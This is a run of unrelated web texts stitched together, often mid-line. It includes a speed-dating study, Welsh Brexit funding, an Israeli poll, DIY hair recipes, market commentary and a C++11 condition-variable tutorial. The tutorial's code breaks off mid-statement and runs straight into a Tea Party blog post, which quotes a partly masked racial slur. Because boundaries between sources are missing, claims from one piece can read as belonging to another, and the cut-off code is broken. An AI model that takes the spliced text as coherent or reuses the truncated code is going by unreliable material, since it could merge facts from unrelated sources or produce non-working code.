The results were a score. As reported in the October 2009 issue of Psychological Science, the well-known gender difference vanished when men and women assumed more egalitarian roles—when women made the rounds and men sat, both sexes were equally choosy. This finding is not a complete reversal of the old rule, however; the seated men were not choosier than the traveling women, the way seated women are choosier than men in the traditional speed-dating setup. This suggests that the ancient tendencies still exist but may be less influential than previously thought, because they are also reinforced by arbitrary social norms such as the convention that men usually approach women when there is potential for romance.
What’s more, by asking the participants to rate their self-confidence, the researchers provided further insight into what specifically about the speed-dating setup led both men and women to be more selective when they were seated. The investigators had wondered whether the act of sitting and being approached by a long string of members of the opposite sex made people feel especially desirable and, therefore, justifiably choosier. But they found that those who rotated showed more self-confidence than those who sat, nixing the idea that the sitters’ perception of being in greatdemand was driving their relative choosiness. Instead simply standing and being on the move boosted both genders’ sense of confidence, which in turn boosted their romantic attraction to the people they approached.
We don’t speed-date our way through real life, of course, but there are all kinds of social conventions based on gender, and these presumably shape romantic feelings and actions. Having men behave more like women and women more like men appears to narrow at least this one gap between the sexes.NEW DELHI: The government has decided to look into Bharti Airtel's decision to charge higher tariff for voice calls through popular internet service providers such as Skype, Viber, Facebook messenger and Google hangouts.“We will look into it. Government will come back with a structured response,” telecom minister Ravi Shankar Prasad said on the sidelines of a 'Good Governance Day' event organized by the Department of Electronics and Information Technology.Airtel had on Wednesday announced that it would charge differential tariff for voice over internet protocol (VoIP) players who provide calls at normal data rates, compared with the steep rates that telecom operators charge. It decided to charge them nearly 16 times the rate of ordinary data pack charges.The announcement came as bad news for thousands of people who use the popular internet services to make voice calls to family and friends abroad.Many market players described the move as an attempt to gag the growing popularity of low-cost calling services through the internet. The step is also seen as going against the whole concept of net neutrality, which implies that internet service providers and governments should treat all data on the internet equally, not discriminating or charging diferentially according to user, content, site, platform, application, type of attached equipment, or mode of communication.Other operators like Vodafone and Idea Cellular did not comment on the development.However, it is understood that they are yet to make any changes to their internet plans vis-à-vis VoIP players.Wales, which voted overwhelmingly to leave the EU, has now been told by the UK Government that it can't automatically expect a Brexit administration to match the level of funding it received from Brussels.
Welsh Secretary Alun Cairns announced in the House of Commons that “Simply replacing what are currently EU funds with another source from Westminster misses the point.”
When pressed by Shadow Welsh Secretary Paul Flynn to “guarantee that Wales will not lose any of the funding that it has now under Brexit,” Mr Cairns would only say: “I can guarantee that Wales will get its fair share.”
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His response raises the prospect that in voting to leave, Wales has voted to lose a chunk of the EU money that according to analysis by Cardiff University’s Wales Governance Centre gave it a net annual benefit - (once payments to Brussels were deducted) of £245 million - or about £79 per head.
It also comes after the areas of Wales that benefit most from EU funding voted very strongly to leave.
West Wales and the Valleys had been a particular target of EU Regional Policy funding because it was classed as a “less developed region” where GDP was less than 75 per cent of the EU average.
But every area in the Valleys still voted Leave, with the Brexit share of the vote being as high as 62 per cent in Blaenau Gwent and 56.4 per cent in Merthyr Tydfil.
Mr Cairns seems to have used this to bolster his position, telling MPs on Wednesday: “The EU referendum sent out a number of messages, and those areas that receive most EU funds were the areas, sadly, that voted most strongly to leave the EU. We need to look at models of regional aid in a different way.”
Only five Welsh council areas voted for Remain, compared to the 17 which backed Leave, producing an overall Wales vote of 52.5 per cent in favour of Brexit and 47.5 per cent for staying in the EU.
Shape Created with Sketch. Brexit reactions – in pictures Show all 10 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Brexit reactions – in pictures 1/10 Supporters of the Stronger In campaign look at their phones after hearing results in the EU referendum at London's Royal Festival Hall AP 2/10 Leave supporters cheer results at a Leave.eu party after polling stations closed in the Referendum on the European Union in London Reuters 3/10 Mr Cameron announces his resignation to supporters Getty 4/10 Donald Tusk proposes that the 27 remaining EU member states ‘start a wider reflection on the future of our union’ Getty 5/10 Ukip leader Nigel Farage greets his supporters on College Green in Westminster, after Britain voted to leave the European Union PA 6/10 Supporters of the Stronger In Campaign react as referendum results are announced today Getty 7/10 Boris Johnson leaves his home today to discover a crowd of waiting journalists and police officers Getty 8/10 Leave EU supporters celebrate as they watch the British EU Referendum results being televised at Millbank Tower in London Rex 9/10 Supporters of the Stronger In Campaign react as results of the EU referendum are announced at the Royal Festival Hall Reuters 10/10 Supporters of the Stronger In campaign react after hearing results in the EU referendum at London's Royal Festival Hall PA 1/10 Supporters of the Stronger In campaign look at their phones after hearing results in the EU referendum at London's Royal Festival Hall AP 2/10 Leave supporters cheer results at a Leave.eu party after polling stations closed in the Referendum on the European Union in London Reuters 3/10 Mr Cameron announces his resignation to supporters Getty 4/10 Donald Tusk proposes that the 27 remaining EU member states ‘start a wider reflection on the future of our union’ Getty 5/10 Ukip leader Nigel Farage greets his supporters on College Green in Westminster, after Britain voted to leave the European Union PA 6/10 Supporters of the Stronger In Campaign react as referendum results are announced today Getty 7/10 Boris Johnson leaves his home today to discover a crowd of waiting journalists and police officers Getty 8/10 Leave EU supporters celebrate as they watch the British EU Referendum results being televised at Millbank Tower in London Rex 9/10 Supporters of the Stronger In Campaign react as results of the EU referendum are announced at the Royal Festival Hall Reuters 10/10 Supporters of the Stronger In campaign react after hearing results in the EU referendum at London's Royal Festival Hall PA
This was despite the Welsh Government telling voters that since 2007, EU projects have helped 72,700 people into work and created 36,970 jobs.
It was reported that Wales has been given more than £4 billion of European money since 2000, with grants approved between 2007 and 2013 including £79 million for improvements to the A465 Heads of the Valley road and £80 million for town centre improvements in places like Merthyr Tydfil, Pontypridd and Llanelli.
But during the referendum campaign, Andrew RT Davies, the leader of the Welsh Conservatives, insisted: “Wales could be as much as half a billion pounds a year better off if the UK votes to leave the European Union.
“The UK is a massive net contributor to the EU and Wales would be entitled, under the Barnett Formula, to its share of that £9.98 billion ‘Brexit dividend.’ No ifs, no buts.”
After the referendum result became known, Welsh First Minister Carwyn Jones wrote to David Cameron to express his concerns about the impact on jobs and growth if the funding level for Wales was reduced. Mark Drakeford, Finance Secretary in Wales’ Labour-led government, also insisted that “every penny” lost to the Welsh economy in EU funding would need to be replaced by the UK Government.
The refusal of Mr Cairns to guarantee that a Brexit government will match EU funding levels may also cause anxiety in areas that voted to leave the EU despite receiving large sums from Brussels.
The day after Cornwall voted 182,665 to 140,540 for leave despite having received £1 billion of EU aid in the past 15 years, John Pollard,the leader of Cornwall Council announced: “We will be insisting that Cornwall receives investment equal to that provided by the EU programme which has averaged £60m per year over the last ten years.”
“Now that we know the UK will be leaving the EU,” he added, “We will be taking urgent steps to ensure that the UK Government protects Cornwall’s position in any negotiations.”
What might be at stake was suggested by Jonathan Lindsell, the author of a report on industries that benefit from the EU, who in 2014 had said that as well as Cornish farmers and fishermen benefiting from the Common Agricultural Policy and Common Fisheries Policy, the county received structural and convergence funds to support local economic growth and communities.
“If Britain were to leave,” he added, “The Treasury would have to take great care in ensuring its [Cornwall’s] local economy was not crippled as a result.”
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Subscribe now.TEL AVIV (JTA) – During the past 18 months, the governing coalition in Israel has passed legislation to extend the nation’s mandatory conscription to the haredi Orthodox — a group currently exempted from military service — and Knesset leaders have advanced bills that would allow for civil unions and ease restrictions on Jewish conversions.
But a new study shows that the majority of Israeli electorate remains unhappy with the amount of religious influence on Israeli life and law.
The annual report, which was released Monday by Hiddush — a 5-year-old organization that lobbies the Knesset to promote religious freedom — revealed that 61 percent of Israelis support increased religion-state separation and 78 percent are dissatisfied with the government’s actions on religion-and-state issues.
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Specifically, two-thirds of Israelis back legalizing civil marriage, up from 61 percent in 2010. And 64 percent of Israelis support recognizing Conservative and Reform conversions, a slight rise from the 60 percent in 2010.
On both issues, no less than 100 percent of haredim polled supported Israel’s longstanding policies in which the Orthodox Chief Rabbinate maintains control over Jewish marriages and recognizes only Orthodox conversions. Still, one-third of haredi respondents joined the 71 percent of Israelis who disapproved of the Chief Rabbinate.
“For haredim who think Israel should be a theocracy, it’s described as a government of destruction,” said Rabbi Uri Regev, the CEO of Hiddush.
“On the other side, [those favoring religion-state separation feel] the government has never really been attentive,” said Regev, noting that successive governments have prioritized defense policy over religious liberalization.
The Knesset’s largest party, the centrist Yesh Atid, pushed through a law this year to include haredim in Israel’s mandatory draft. The mandate doesn’t go into effect for another three years, and 61 percent of Israelis — including 98 percent of haredim themselves — don’t believe haredi Jews will ultimately be drafted.
The passage of the draft law this year came amid rising haredi-secular tensions, which culminated with at least 300,000 haredim taking to the streets of Jerusalem in mass protest in March. According to the Hiddush poll, 68 percent of Israelis viewed haredi-secular tensions as one of the worst internal conflicts in Israel.
“Last year was characterized by a lack of communication between the sectors,” Aharon Kravitz, a haredi journalist and activist, told JTA. “People talked about the haredim. Nobody talked with the haredim. There’s a lack of understanding, and that influences public opinion.”
There was agreement with the haredim on at least one point: A majority of Israelis, including four-fifths of haredim, backed affirmative action to place haredim in government jobs.
As in previous years, the poll also found that Israelis have bridged a once-stark religious-secular divide. Among the 800 total respondents, 49 percent identified as secular, 17 percent as traditional-not-so-religious, 13 percent as traditional-religious, 12 percent as religious and 9 percent as haredi.
According to the survey, 42 percent of Israelis observe the Sabbath in some way, whether according to traditional Jewish law or through customs such as lighting candles and blessing wine.
“Simplistic divisions are really missing the point,” Regev said. “Respect for Shabbat is not only the domain of those who define themselves as religious. There are varying degrees of personal respect and observance that Israelis follow.”Kasich hires Hathaway Strategies to help manage Indiana campaign
Gov. John Kasich (Photo: Tony Dejak, AP)
Republican presidential candidate John Kasich has hired a prominent GOP consulting firm to help manage his Indiana campaign.
Hathaway Strategies, run by Republican adviser Anne Hathaway, will direct the Ohio governor’s field operations in Indiana, Kasich’s campaign confirmed Friday. Kasich is vying for the GOP presidential nomination, though he’s trailing far behind his opponents Donald Trump and Ted Cruz.
Despite his underdog status, Kasich appears to be the first of the Republican field to hire a team specifically for Indiana's May 3 primary.
Hathaway is a former chief of staff for the Republican National Committee and worked on U.S. Sen. Dan Coats’ campaign in 2010. She also was the program director for the 2012 Republican National Convention in Tampa, Fla.
Hathaway Strategies will manage his field operations, including hiring and managing organizers to recruit and deploy volunteers in targeted parts of the state, according to Pete Seat, a senior project manager for the consulting firm. Efforts will include phone banking and door-to-door canvasses.
Kasich has a good chance of picking up delegates in Indiana, Seat said.
“There are advantages to being from a neighboring state with overlapping media markets and passionate volunteers who are less than a gas tank away,” Seat said in a statement to IndyStar.
Kasich’s hiring of an Indiana director is another example of growing campaign activity ahead of the state's primary.
Democratic presidential nominee Hillary Clinton announced her local campaign manager this week – Peter Hanscom, who formerly led a group of businesses advocating for expanded civil rights protections for gay and transgender Hoosiers called Indiana Competes. Clinton’s Democratic rival, Bernie Sanders, also has staff in the state and is launching offices.
Call IndyStar reporter Chelsea Schneider at (317) 444-6077. Follow her on Twitter: @IndyStarChelsea.
Read or Share this story: http://indy.st/1MI27ULIn the previous post in this series we have seen the C++11 support for locks and in this post we continue on this topic with condition variables. A condition variable is a synchronization primitive that enables blocking of one or more threads until either a notification is received from another thread or a timeout or a spurious wake-up occurs.
There are two implementations of a condition variable that are provided by C++11:
condition_variable: requires any thread that wants to wait on it to acquire a std::unique_lock first.
first. condition_variable_any: is a more general implementation that works with any type that satisfies the condition of a basic lock (basically has a lock() and unlock() method). This might be more expensive to use (in terms of performance and operating system resources), therefore it should be preferred only if the additional flexibility it provides is necessary.
So how does a condition variable work?
There must be at least one thread that is waiting for a condition to become true. The waiting thread must first acquire a unique_lock. This lock is passed to the wait() method, that releases the mutex and suspends the thread until the condition variable is signaled. When that happens the thread is awaken and the lock is re-acquired.
. This lock is passed to the method, that releases the mutex and suspends the thread until the condition variable is signaled. When that happens the thread is awaken and the lock is re-acquired. There must be at least one thread that is signaling that a condition becomes true. The signaling can be done with notify_one() which unblocks one thread (any) that is waiting for the condition to be signaled or with notify_all which unblocks all the threads that are waiting for the condition.
Because of some complications in making the condition wake-up completely predictable on multiprocessor systems, spurious wake-ups can occur. That means a thread is awaken even if nobody signaled the condition variable. Therefore it is necessary to check if the condition is still true after the thread has awaken. And since spurious wake-ups can occur multiple times, that check must be done in a loop.
The code below shows an example of using a condition variable to synchronize threads: several “worker” threads may produce an error during their work and they put the error code in a queue. A “logger” thread processes these error codes, by getting them from the queue and printing them. The workers signal the logger when an error occurred. The logger is waiting on the condition variable to be signaled. To avoid spurious wakeups the wait happens in a loop where a boolean condition is checked.
#include <thread> #include <mutex> #include <condition_variable> #include <iostream> #include <queue> #include <random> std::mutex g_lockprint; std::mutex g_lockqueue; std:: |
As Tommy Christopher points out, they’ve consistently quoted him as a Tea Party leader, and now they’re showing no qualms about him signing up to write on their Tea Party Report blog. I shouldn’t even have to say this out loud, but for the sake of argument I will: Dale Robertson is not the founder of the Tea Party movement. He happened to register TeaParty.org. It probably cost him $9 on GoDaddy. That does NOT a Tea Party leader make. In fact, many Tea Party players have shunned him and uninvited him from any related events. However, none of this seems to matter to Dale. From the TeaParty.org site (read the whole thing if you have time, it’s a gem):
Being frustrated by “Politics As Usual” this brave man decided to create a new voice, a voice that echoed from the pages of history. The Tea Party was the perfect choice… Why not an organization called the Tea Party? It was too obvious. Our American heritage held the key to unleashing the American Spirit.
The amount of crazy in that paragraph alone makes my head hurt. The name came from Rick Santelli’s rant in February of 2009. He no more came up with that name than I did. He is not a “brave man”, he is crazypants, and an opportunist. Washington Times: If you’re looking for an actual Tea Party columnist, I’d be happy to oblige. If you hate me, I have dozens of others who are legitimate members of the movement who would love to help out. May I offer my boss, Matt Kibbe? Any of our allies? There are HUNDREDS who have done so much more work than Dale Robertson ever could. Oh, and who aren’t going to show up holding signs that say “N***ar” while giving a quote about not being racist.Former judge finds troops’ actions were ‘plain and certain’ cause of death after they forced looting suspect Ahmad Jabbar Kareem Ali, 15, into Basra canal
The Ministry of Defence has said it is “extremely sorry” for the death of an Iraqi teenager who drowned after being forced into a Basra canal by four British soldiers.
Ahmad Jabbar Kareem Ali, 15, drowned in the Shatt al-Basra canal in May 2003 after he was detained by British troops on suspicion of looting near the Basra general hospital.
A report by the former high court judge Sir George Newman found the teenager was “aggressively manhandled and assaulted” after his arrest before being taken to the waterway in an armoured vehicle.
Once at the canal Ahmad and three other suspected looters were forced into the water to get a “soaking” but the teen got into difficulty and drowned.
The report said the soldiers’ failure to help was the “plain and certain” cause of the boy’s death.
“His death ensued because he was forced by the soldiers to enter the canal, where, in the presence of the soldiers, he was seen to be in difficulty, and to go under the water.
Ahmed Jabbar Kareem Ali. Photograph: Handout
“Notwithstanding the unlawful treatment involved in getting him into the water, his death could have been avoided because he could and should have been rescued after it became clear that he was floundering.”
The soldiers were tried in a British court for manslaughter and acquitted in 2006.
The report described how, following the toppling of Saddam Hussein in April 2003, the southern Iraqi city had descended into a “state of chaos”.
The police force was ineffectual and in the absence of a court system looters could not be dealt with.
The report said the soldiers’ actions gave rise to “grave concerns” about their ability to cope with their orders and the adequacy of the resources available to them.
It also highlighted serious concerns over the soldiers’ training and ability for troops in Basra to “act as both policemen and combatants simultaneously”.
An MoD spokesman said: “This was a grave incident for which we are extremely sorry. We are committed to investigating allegations of wrongdoing by UK forces and will use Sir George’s findings to learn lessons to help ensure nothing like this happens again.”
The Iraq Fatality Investigations (IFI) were set up in 2013, with the first three chaired by Newman.
The IFIs provide an inquisitorial investigation akin to a coroner’s inquest in order to meet investigative requirements under the European convention on human rights.The United States's FA have started talks with other sides who missed out on the World Cup about holding a tournament in 2018.
That includes the likes of Italy and Holland, who have already been engaged in conversations about organising an event to take place next summer.
Reports in the US put forward the idea on Tuesday and the US Soccer Federation came out to confirm it was exploring the concept.
The US are looking into the idea of organising a tournament after missing out on the World Cup
They could invite the likes of Italy, who also did not earn a place in Russia, to their tournament
The country surprisingly missed out on the World Cup after they lost 2-1 at Trinidad and Tobago last month.
And the notion picked up steam once Italy were eliminated on Monday. They drew 0-0 at home against Sweden, missing out courtesy of a 1-0 aggregate loss.
It is the first time that Italy will not have been at a World Cup since the 1958 edition of the competition.
Holland are another major country who did not manage to qualify for the 2018 World Cup
Italy and Holland will be keen to play notionally competitive fixtures as they look to improve on their disappointing displays in qualification.
That also applies to the United States and Chile, with the latter in particular looking for better performances ahead of the 2019 Copa America.
One issue could be whether FIFA would be willing to let other nations host exhibition games during the World Cup.We all know that natural hair needs much TLC. Sometimes co-wahsing or cleansing just isn’t enough. Natural hair strands require deep moisture and conditioning in order for it to grow long and healthy. And because the hair strands aren’t necessarily straight as they are when relaxed, it’s important to make sure that every strand is properly coated with whatever treatment you’re choosing to apply to your hair. Being able to experiment with different products is key as what might work with one texture of hair may not work for another. For example, for me, I love coconut oil, however I usually have to top it off with a heavier oil like castor oil because my hair is so dense. Castor oil is thick enough to penetrate through my hair cuticles as opposed to coconut oil.
So this is where DIY hair treatments come in. YOU are the creator of your own hair treatment. YOU know the ingredients, YOU have the control to add, to remove, to do just about anything that suits the characteristics of your hair. Though it may be a little more time consuming than squeezing some product out of a store-bought bottle, in the end your hair will love you for it. And whatever is left over, you can just store in your freezer. When it comes to deep conditioners, be it DIY or store-bought, it’s a good idea to get into the habit of deep conditioning at least once a week. You will see a huge difference in your hair once you adopt this practice.
So let’s get started! I’ve listed a few recipes that I have used and that I have recommended and made for some Naturalistas. The cool thing about these recipes is that you can tweak them to your liking (r your hair’s liking). Some things I want to mention, know your ingredients! I customize my recipes based on what my hair is doing. If I’m having issues with frizz, then I may add more macadamian oil to my mix as it’s known to be a frizz fighter. If my hair looks dull and lifeless, I’ll up the honey as it’s known for it’s shine properties. If I’ve applied a little too much heat to my hair or it’s been in a protective style for quite some time, I’ll make sure I add enough protein ingredients to my treatment to get my curls poppin’ again. Another thing I’d like to add is essential oils are to measured in drops. They are highly potent, so you don’t ever want to use more than necessary to your mix. A couple of drops, in most case is all you’ll need and will go a long way. Please feel free to comment and post your favorite DIY recipes on this site or on our Facebook Page!
TWO of MY FAVORITE DIY DEEP CONDITIONERS
“THE WORKS” (great for an extra boost of protein!)
1/2 can of coconut milk
3 tablespoons of mayonnaise
1 egg
1/2 avocado*
1 large banana*
1/4 cup of aloe gel
1/4 cup of conditioner of your choice
4 tablespoons of honey
blend, strain, and indulge!
*For a thicker consistency, use 2 bananas and 1 avocado
freeze any left-overs
“QUICK CONDISH” (perfect for reviving dull, dry, brittle hair!)
1/2 cup of EVOO (extra virgin olive oil)* 4 tablespoons of honey cover hair with a plastic cap and towel for 30-40 minutes or plastic cap and sit under a hooded dryer on LOW heat of 20-30 minutes
*1 cup of EVOO for longer hair
TWO of MY FAVORITE DIY SCALP/OIL TREATMENTS
“TJCC TREATMENT” 6-10 drops of tea tree oil
6 tablespoons of jojoba oil 4 tablespoons of coconut oil 1/4 cup of castor oil section hair apply to scalp 2-3 times a week, style as usual for deeper penetration, cover with plastic cap and towel for 30-40 minutes
for daily maintenance mix with water and spritz as needed!
“DEEP OIL TREATMENT” (great for added shine and softness while giving your scalp some TLC!) 1/2 cup of EVOO 4 tablespoons of honey 4 tablespoons of coconut oil apply to hair and to scalp cover with plastic cap and sit under hooded dryer on LOW heat for 20-30 minutes
images from pinterestIndie dev Twitter rage! Fun, fun, fun!
Indie game developers are certainly an outspoken lot, aren't they?
Phil Fish, creator of the dimension-flipping XBLA platformer FEZ, finally decided to hop on the Monster Hunter train starting with Ultimate for 3DS. He thinks the game itself is fine, but he's having difficulty playing without a second stick. So he did what anybody else would do and took to Twitter to vent.
"started playing my first monster hunter game last night. on 3DS. it's not exactly playable without that circle pad pro atrocity...i don't understand. why would you even release a game like that on a platform like that? why is it not out on let's say... vita? you know, the one where you could control the camera. it's too bad because MH looks like it's basically phantasy star online but not in space. and i love me some PSO. [sic]" Funny he should say that, considering that our review notes the unwieldiness of the Circle Pad Pro in most situations and how the L is more ideal, but whatevs. Different strokes and all.
Once he built up a head of steam, Fish directed his fury towards the DS and 3DS hardware, slamming them for introducing nonsensical features that nobody apparently asked for.
"also, im so sick of this dual-screen clamshell bullshit. a 2nd screen adds NOTHING. it's a gimmick. 3D is a gimmick. it's too bad the vita isnt a bigger hit because hardware wise it's PERFECT. it has ONE AWESOME SCREEN, and TWO JOYSTICKS. there's never been a single DS or 3DS that didnt make me go 'i wish this was on a single screen'. and i've never played any game ever anywhere where i was like 'i wish this had a 2nd screen'. and absolutely fucking NOBODY ever went 'i wish this had 2nd screen that is smaller and a different aspect ration and touch but not 3D' the gameboy micro was the best handheld ever. i wish nintendo would just make a slightly bigger more powerful GBAM-type thing. [sic]"
Oh. Oh my. That's just stirring the hornet's nest, my friend.
I could go into detail about how much I disagree with Fish on absolutely everything he said, except for the part about the Game Boy micro -- I love that beautiful little gizmo! I could, but I won't. I think you guys will have enough of a field day that my input would be unnecessary.
I will point out that he believes the Vita's rear touch pad is a valid addition that he values over just about every feature on the DS and 3DS. He also mocks people getting upset over his over comments, wondering how they could "go through life being so outraged all the time," completely glossing over the fact that they are merely responding to his own outrage. Glass houses, throwing stones, yadda yadda.
PHIL FISH's feed [Twitter via GoNintendo]
You are logged out. Login | Sign upWell that didn't take long. Boxing star Roy Jones Jr. has flirted with the idea of taking on a top MMA star in the boxing right for a while now, and the man he wanted to fight was former UFC middleweight champion Anderson Silva. But right after Silva suffered a gruesome broken leg in his main event bout with Chris Weidman at UFC 168, RJJ had already changed it up since that fight was obviously off the table. So who is his new target? MMA Fighting will fill you in:
The former boxing champion, who attended UFC 168 in Las Vegas Saturday night, told MMAFighting.com that his top choice has always been to box Silva but now that that's off the table, he's very interested in boxing Nick Diaz. Jones Jr. said he told UFC president Dana White about his desire to box Diaz, and White told him he'd think about it. Given Diaz's contract with the UFC, White would obviously have to be on board with the idea for the fight to happen.
Jones (57-8) turns 44 next month, so he obviously doesn't want to wait around. He's still active though, just winning a bout in Russia last week (his first in 18 months). Diaz has talked about boxing many times, and was even discussed as a possible opponent for Jones back in 2009. In 2011 there was a contract on the table for him to box Jeff Lacy as well, but that never materialized either.
Diaz has stated that he's retired from MMA, but is still under contract to the UFC and has been offered fights lately. He told Dana White that he'd possibly like to return in May, but that remains to be seen. His last bout was a UFC 158 loss to Georges St-Pierre.BATTLE CREEK, Mich. (NEWSCHANNEL 3) - A potential string of local retail frauds may have come to an end, after a mother and daughter from Kalamazoo are arrested on felony organized shoplifting, assault and drug charges.
Battle Creek Police say a 15-year-old and her 34-year-old mother stole $2,300 in merchandise from Lakeview Square Mall and at least one store in the Kalamazoo area.
Officers were called to the mall around 8:15 Friday night, after a mall security guard got the call of a young woman stealing clothing.
As the guard followed her outside into the parking lot, police say the mother got in her car and hit him so her daughter could get away.
Police say the security guard was uninjured and was able to keep the mother at the mall until officers arrived.
Officers say they found mostly stolen women's clothing inside their car, along with marijuana.
All of the stolen clothes were recovered and returned to the stores.
The names of the suspects have not been released.
The 15-year-old female lodged at the Calhoun County Juvenile Home on felony organized retail fraud charges.
The teen's 34-year-old mother was lodged at the Calhoun County Jail on felony organized retail fraud, felonious assault with a motor vehicle, possession of marijuana charges and an additional warrant.
Investigators are also looking into charging the mother with contributing to the delinquency of a minor.Don’t Sweat The Election. The Next Crisis Is Already Baked Into The Cake - John Rubino
By John Rubino 2609 Views
November 1, 2016
Friday was one of those days where you walk away from the screen for a minute and come back to find a completely different market. All it took was the FBI finding a trove of new Clinton emails, thus breathing new life into the Trump campaign and throwing what was a foregone conclusion back into doubt. Stocks tanked and gold popped, illustrating Wall Street’s preference in the upcoming election.
It will be this way until the vote, especially if polls continue to tighten and the outcome remains uncertain. So there’s no point in obsessing over fundamentals for now. Nothing real will matter until we find out who gets to mess things up going forward. Sort of like the original Ghost Busters where the demon/god says “Choose the form of the destructor.”
In other words it’s a mess either way. Only the details of the mess are in question.
From here on out politics are only relevant at the extremes — major war, corruption scandal, martial law etc. Short of that, the fiat currency/fractional reserve banking world has such institutional momentum that it really won’t matter whether Trump is picking on bankers and building his wall or Clinton is protecting Wall Street and raising taxes. Debt will keep soaring as it has under every president since Reagan and jobs will disappear as machines replace people, thus bringing the end of the current system inexorably closer.
So it’s both dangerous to try to time this kind of uncertainty and, in the end, unnecessary. Crisis is coming and governments (whether left or right, populist or establishment) will respond as they always do, with easier money and more borrowing.
Here are three trends that matter vastly more than the name of the next US president:
“China’s Debt Has Grown $4.5 Trillion In Past 12 Months, More Than The US, Japan And Europe Combined” (Talk Markets) – While concerns about China’s debt load, capital flows, and depreciating currency have been pushed to the back-burner in recent months, perhaps facilitated by a welcome rebound in global inflation – perceived by markets and global central bankers that monetary policy is finally working – it is worth a quick reminder of how we got here.
First, a quick trip through memory lane to remind us how much has changed in just the past year.
In a note by Morgan Stanley’s Chetan Ahya released on Sunday, the strategist reminds us that a little more than a year ago, the global economy was facing intense disinflationary pressures. Global commodity prices were declining significantly and the slowdown in China and other major commodity-producing EMs had led to some concerns that it could pull developed markets into recession and drag inflation down along with it. At the same time, in China, producer prices fell by almost 6%Y and the regime change in its currency management approach meant that China was no longer absorbing disinflationary pressures from abroad.
And while this seems like a distant memory today, thanks to China which has played a pivotal role in driving the global inflation cycle – this time on the upside – as the cyclical recovery has both lifted China’s own inflation and transmitted it globally, here is how this happened: the recovery in China has been driven by yet another round of debt indulgence. Debt in China has grown by US$4.5 trillion over the past 12 months, by far the highest amount of debt creation globally as compared to US$2.2 trillion in the US, US$870 billion in Japan and US$550 billion in the euro area. Indeed, China on its own has added more debt than the US, Japan and the euro area combined.
While we have shown the IIF’s forecast of Chinese debt countless times in recent months, here it is once again to put China’s unprecedented debt expansion in context:
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World to face stress test as dollar Libor spikes and bond rout deepens (Telegraph UK) – Surging rates on dollar Libor contracts are rapidly tightening conditions across large parts of the global economy, incubating stress in the credit markets and ultimately threatening overvalued bourses. Three-month Libor rates – the benchmark cost of short-term borrowing for the international system – have tripled this year to 0.88pc as inflation worries mount.
Fear that the US Federal Reserve may have to raise rates uncomfortably fast is leading to an increasingly acute dollar shortage, draining global liquidity.
“The Libor rate is one of the few instruments left that still moves freely and is priced by market forces. It is effectively telling us that that the Fed is already two hikes behind the curve,” said Steen Jakobsen from Saxo Bank.
“This is highly significant and is our number one concern. Our allocation model is now 100pc in cash. This is a warning signal for the market and it happens extremely rarely,” he said.
Goldman Sachs estimates that up to 30pc of all business loans in the US are priced off libor contracts, as well as 20pc of mortgages and most student loans. It is the anchor for a host of exotic markets, used as a floor for 90pc of the $900bn pool of the leveraged loan market. It underpins the derivatives nexus.
The chain-reaction from the Libor spike is global. The Bank for International Settlements warns that the rising cost of borrowing in dollar markets is transmitted almost instantly through the global credit system. “Changes in the short-term policy rate are promptly reflected in the cost of $5 trillion in US dollar bank loans,” it said.
Roughly 60pc of the global economy is linked to the dollar through fixed currency pegs or ‘dirty floats’ but studies by the BIS suggest that borrowing costs in domestic currencies across Asia, Latin America, the Middle East, and Africa, move in sympathy with dollar costs, regardless of whether the exchange rate is fixed.
Short-term ‘Shibor’ rates in China have been ratcheting up. The cost of one-year swaps jumped to 2.71pc last week, and the spread over one-year sovereign debt is back to levels seen during the Shanghai stock market crash last year.
These strains are not a pure import from the US. The Chinese authorities themselves are taking action to rein in a credit bubble. It is happening in parallel with Fed tightening, each reinforcing the other, and that makes it more potent.
Three-month interbank rates in Saudi Arabia have soared to 2.4pc. This is the highest since the global financial crisis in early 2009 and implies a credit crunch in the Saudi banking system. The M1 money supply has fallen 9pc over the last year.
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The One Trillion Dollar Consumer Auto Loan Bubble Is Beginning To Burst (Economic Collapse Blog) – Do you remember the subprime mortgage meltdown from the last financial crisis? Well, this time around we are facing a subprime auto loan meltdown. In recent years, auto lenders have become more and more aggressive, and they have been increasingly willing to lend money to people that should not be borrowing money to buy a new vehicle under any circumstances. Just like with subprime mortgages, this strategy seemed to pay off at first, but now economic reality is beginning to be felt in a major way. The total balance of all outstanding auto loans reached $1.027 trillion between April 1 and June 30, the second consecutive quarter that it surpassed the $1-trillion mark, reports Experian Automotive.
The average size of an auto loan is also at a record high. At $29,880, it is now just a shade under $30,000.
In order to try to help people afford the payments, auto lenders are now stretching loans out for six or even seven years. At this point it is almost like getting a mortgage.
But even with those stretched out loans, the average monthly auto loan payment is now up to a record 499 dollars.
Already, auto loan delinquencies are rising to very frightening levels. In July, 60 day subprime loan delinquencies were up 13 percent on a month-over-month basis and were up 17 percent compared to the same month last year.
Prime delinquencies were up 12 percent on a month-over-month basis and were up 21 percent compared to the same month last year.
In a quarterly filing with the Securities and Exchange Commission, Ford reported in the first half of this year it allowed $449 millionfor credit losses, a 34% increase from the first half of 2015.
General Motors reported in a similar filing that it set aside $864 million for credit losses in that same period of 2016, up 14% from a year earlier.
These three things – soaring Chinese debt, disruptions in the money market, and the end of the auto loan bubble – matter vastly more than which party runs what part of the government.
When one or all (or some other problem like Deutsche Bank) blow up in 2017, deficit spending will soar, interest rates will be forced down (to the extent that that’s possible) and new rules will be imposed on whatever freely-functioning markets remain.
And so it will go until the old tricks stop working. Then the details will start to matter again.
John Rubino runs the popular financial website DollarCollapse.com. He is co-author, with GoldMoney’s James Turk, of The Money Bubble (DollarCollapse Press, 2014) and The Collapse of the Dollar and How to Profit From It (Doubleday, 2007), and author of Clean Money: Picking Winners in the Green-Tech Boom (Wiley, 2008), How to Profit from the Coming Real Estate Bust (Rodale, 2003) and Main Street, Not Wall Street(Morrow, 1998). After earning a Finance MBA from New York University, he spent the 1980s on Wall Street, as a Eurodollar trader, equity analyst and junk bond analyst. During the 1990s he was a featured columnist with TheStreet.com and a frequent contributor to Individual Investor, Online Investor, and Consumers Digest, among many other publications. He currently writes for CFA Magazine.
The author is not affiliated with, endorsed or sponsored by Sprott Money Ltd. The views and opinions expressed in this material are those of the author or guest speaker, are subject to change and may not necessarily reflect the opinions of Sprott Money Ltd. Sprott Money does not guarantee the accuracy, completeness, timeliness and reliability of the information or any results from its use.For those of us who came of age during the Reagan era, the fall of the Soviet Union marked the ultimate victory of capitalism over communism. But 20 years later, capitalism is facing a much greater threat, not from communism or socialism, but from a cancerous distortion of its own values.
